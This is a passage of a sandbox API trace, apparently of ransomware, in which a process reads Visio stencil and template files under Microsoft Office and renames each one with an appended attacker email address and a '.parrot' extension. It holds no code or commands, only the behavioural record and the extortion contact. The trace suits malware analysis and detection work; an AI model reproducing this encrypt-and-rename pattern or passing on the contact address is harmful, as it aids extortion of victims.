lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.747] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.747] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x65c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x65c00, lpOverlapped=0x0) returned 1 [0220.762] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\itil_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\itil_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.785] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.785] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.786] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.787] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x18c00, lpOverlapped=0x0) returned 1 [0220.795] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.813] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\itil_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\itil_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.824] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.825] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.826] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.826] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xde00, lpOverlapped=0x0) returned 1 [0220.830] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LANGLV_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\langlv_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LANGLV_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\langlv_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.840] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.840] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.842] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.842] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xda00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xda00, lpOverlapped=0x0) returned 1 [0220.843] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.844] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LANGLV_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\langlv_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LANGLV_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\langlv_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.850] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.850] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.892] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.892] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xde00, lpOverlapped=0x0) returned 1 [0220.932] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.933] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPDR_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ldapdr_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPDR_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ldapdr_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.940] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.940] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.941] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.941] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xde00, lpOverlapped=0x0) returned 1 [0220.943] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.943] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPDR_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ldapdr_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPDR_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ldapdr_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.951] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.951] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.952] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.952] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x41e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x41e00, lpOverlapped=0x0) returned 1 [0220.960] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.967] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPOB_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ldapob_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPOB_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ldapob_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.975] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.975] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.976] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.977] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x40c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x40c00, lpOverlapped=0x0) returned 1 [0220.989] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.997] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPOB_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ldapob_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPOB_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ldapob_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.005] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.005] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.047] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.047] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7400, lpOverlapped=0x0) returned 1 [0221.052] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.053] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LEGEND_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\legend_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LEGEND_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\legend_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.070] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.070] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.072] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.072] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7000, lpOverlapped=0x0) returned 1 [0221.073] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.074] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LEGEND_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\legend_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LEGEND_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\legend_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.086] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.086] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.088] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.088] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x38200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x38200, lpOverlapped=0x0) returned 1 [0221.093] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.098] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LGND_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\lgnd_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LGND_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\lgnd_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.105] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.105] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.107] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.107] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x37600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x37600, lpOverlapped=0x0) returned 1 [0221.120] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.127] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LGND_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\lgnd_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LGND_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\lgnd_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.134] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.134] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.135] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.135] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x12200, lpOverlapped=0x0) returned 1 [0221.142] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.147] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LINPAT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\linpat_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LINPAT_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\linpat_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.154] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.154] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.155] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.155] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x12000, lpOverlapped=0x0) returned 1 [0221.157] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.161] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LINPAT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\linpat_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LINPAT_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\linpat_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.169] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.169] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.170] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.171] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe1800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe1800, lpOverlapped=0x0) returned 1 [0221.199] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.284] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LNDMRK_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\lndmrk_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LNDMRK_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\lndmrk_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.296] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.296] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.298] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.298] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe0800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe0800, lpOverlapped=0x0) returned 1 [0221.345] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.381] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LNDMRK_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\lndmrk_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LNDMRK_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\lndmrk_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.393] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.393] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.394] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.395] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2d600, lpOverlapped=0x0) returned 1 [0221.407] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.412] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LOGIC_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\logic_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LOGIC_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\logic_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.419] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.419] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.421] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.421] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2c800, lpOverlapped=0x0) returned 1 [0221.431] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.437] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LOGIC_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\logic_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LOGIC_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\logic_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.489] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: 